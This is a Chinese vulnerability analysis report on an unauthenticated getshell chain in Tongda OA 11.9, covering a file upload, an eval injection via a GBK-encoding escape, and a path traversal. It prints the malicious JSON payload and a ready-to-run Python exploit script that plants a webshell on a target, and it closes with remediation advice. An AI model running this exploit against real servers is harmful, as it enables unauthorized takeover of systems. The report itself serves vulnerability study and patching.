通达oa11.9前台getshell漏洞分析
字数 1156 2025-08-06 18:07:59

通达OA 11.9前台Getshell漏洞分析报告

漏洞概述

通达OA 11.9版本存在一个前台无需认证的Getshell漏洞,攻击者可以通过组合文件上传和代码执行漏洞,在未授权情况下获取服务器权限。

漏洞组件

  1. 文件上传点/mobile/api/api.ali.php
  2. 代码执行点inc/package/business/AllVariableBusinessProcessing.php中的eval函数
  3. 触发点inc/package/work.php

环境准备

  • 通达OA下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe
  • 源码解密工具:SeayDzend.exe

漏洞分析

1. 文件上传漏洞

/mobile/api/api.ali.php无需登录即可上传文件,但限制了php等敏感文件类型的上传。

上传路径格式为:/myoa/attach/approve_center/[年月]/[随机字符串].json

  • 年月格式:YYMM(如2203表示2022年3月)
  • 随机字符串:如1130028766

2. 代码执行漏洞

AllVariableBusinessProcessing.php中的backDataAnalysis方法存在eval函数执行点:

static public function backDataAnalysis($BackData) {
    $variableData = $BackData['dataAnalysis'];
    $variableData = json_decode($variableData, true);
    $variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
}

3. 漏洞触发链

  1. 通过work.phpacceptData方法读取上传的json文件
  2. acceptData调用backData方法
  3. backData调用backDataAnalysis方法
  4. 最终执行eval函数

漏洞利用

1. 构造恶意JSON

需要构造特殊的JSON数据实现代码注入:

{
    "modular": "AllVariable",
    "evil": "base64编码的恶意代码",
    "dataAnalysis": "{\"abc\":\"覾覾',eval(base64_decode($BackData[evil])));/*\"}"
}

2. 关键利用点

  • 使用汉字"覾覾"实现GBK编码转义
  • 通过iconv函数转换编码时产生转义符
  • 最终形成可执行的PHP代码

3. 文件路径绕过

利用Windows文件系统特性:

  • >字符可替代?通配符
  • 构造路径如../../../../../myoa/attach/approve_center/2203/>>>>>>.dotast

完整利用步骤

  1. 上传恶意JSON文件到/mobile/api/api.ali.php
  2. 通过work.php触发文件读取和代码执行
  3. 使用Python脚本自动化利用:
import requests
import time

url = "http://target.com"
shell = "base64编码的webshell"

dir_path1 = time.strftime('%y%m',time.localtime(time.time()))
dir_path2 = 'dotast'
files = {"file":(dir_path2+".json",'{"modular":"AllVariable","dotast":"%s","dataAnalysis":"{\\"abc\\":\\"覾覾\',eval(base64_decode($BackData[dotast])));/*\\"}"}'%shell, "application/octet-stream")}
res1 = requests.post(url+"/mobile/api/api.ali.php",files=files)

for i in range(12,4,-1):
    dir_path0 = '>'*i
    source_code = requests.get(url+"/inc/package/work.php?id=../../../../../myoa/attach/approve_center/{dir_path1}/{dir_path0}.{dir_path2}".format(dir_path1=dir_path1,dir_path0=dir_path0,dir_path2=dir_path2))
    if "OK" in source_code.text:
        print(f"Shell地址: {url}/dotast.php")
        exit()

修复建议

  1. api.ali.php添加权限验证
  2. 修复work.php中的路径穿越问题
  3. 避免在代码中使用eval函数
  4. 升级到最新版本OA系统

总结

该漏洞通过组合文件上传和代码执行漏洞,实现了前台Getshell。利用Windows文件系统特性和GBK编码转换特性,成功绕过了安全限制。虽然该漏洞在后续版本中已修复,但仍需警惕类似的设计缺陷。

通达OA 11.9前台Getshell漏洞分析报告 漏洞概述 通达OA 11.9版本存在一个前台无需认证的Getshell漏洞,攻击者可以通过组合文件上传和代码执行漏洞,在未授权情况下获取服务器权限。 漏洞组件 文件上传点 : /mobile/api/api.ali.php 代码执行点 : inc/package/business/AllVariableBusinessProcessing.php 中的eval函数 触发点 : inc/package/work.php 环境准备 通达OA下载地址 :https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe 源码解密工具 :SeayDzend.exe 漏洞分析 1. 文件上传漏洞 /mobile/api/api.ali.php 无需登录即可上传文件,但限制了php等敏感文件类型的上传。 上传路径格式为: /myoa/attach/approve_center/[年月]/[随机字符串].json 年月格式:YYMM(如2203表示2022年3月) 随机字符串:如1130028766 2. 代码执行漏洞 AllVariableBusinessProcessing.php 中的 backDataAnalysis 方法存在eval函数执行点: 3. 漏洞触发链 通过 work.php 的 acceptData 方法读取上传的json文件 acceptData 调用 backData 方法 backData 调用 backDataAnalysis 方法 最终执行eval函数 漏洞利用 1. 构造恶意JSON 需要构造特殊的JSON数据实现代码注入: 2. 关键利用点 使用汉字"覾覾"实现GBK编码转义 通过iconv函数转换编码时产生转义符 最终形成可执行的PHP代码 3. 文件路径绕过 利用Windows文件系统特性: > 字符可替代 ? 通配符 构造路径如 ../../../../../myoa/attach/approve_center/2203/>>>>>>.dotast 完整利用步骤 上传恶意JSON文件到 /mobile/api/api.ali.php 通过 work.php 触发文件读取和代码执行 使用Python脚本自动化利用: 修复建议 对 api.ali.php 添加权限验证 修复 work.php 中的路径穿越问题 避免在代码中使用eval函数 升级到最新版本OA系统 总结 该漏洞通过组合文件上传和代码执行漏洞,实现了前台Getshell。利用Windows文件系统特性和GBK编码转换特性,成功绕过了安全限制。虽然该漏洞在后续版本中已修复,但仍需警惕类似的设计缺陷。